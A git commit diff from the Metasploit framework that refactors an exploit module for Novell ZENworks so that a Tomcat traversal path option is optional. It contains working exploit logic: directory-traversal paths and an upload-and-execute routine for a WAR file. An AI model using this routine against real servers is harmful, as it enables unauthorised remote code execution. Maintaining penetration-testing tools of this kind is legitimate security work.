Make TOMCAT_PATH optional

bug/bundler_fix
jvazquez-r7 2015-05-01 13:54:39 -05:00
parent d2a7d83f71
commit d38adef5cc
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
1 changed files with 11 additions and 15 deletions

View File

@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(443),
OptBool.new('SSL',
[ true, 'Use SSL', true ]),
[true, 'Use SSL', true]),
OptString.new('TARGETURI',
[ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]),
[true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']),
OptString.new('TOMCAT_PATH',
[ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ])
[false, 'The Tomcat webapps traversal path (from the temp directory)'])
], self.class)
end
@ -116,18 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit
if datastore['TOMCAT_PATH'] != ''
if not upload_war_and_exec(datastore['TOMCAT_PATH'])
return
end
else
# These paths should cover the Virtual Appliance, Windows and SLES installations
tomcat_paths = [ '../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/' ]
if not upload_war_and_exec(tomcat_paths[0])
if not upload_war_and_exec(tomcat_paths[1])
return
end
end
tomcat_paths = []
if datastore['TOMCAT_PATH']
tomcat_paths << datastore['TOMCAT_PATH']
end
tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/'])
tomcat_paths.each do |tomcat_path|
break if upload_war_and_exec(tomcat_path)
end
end
end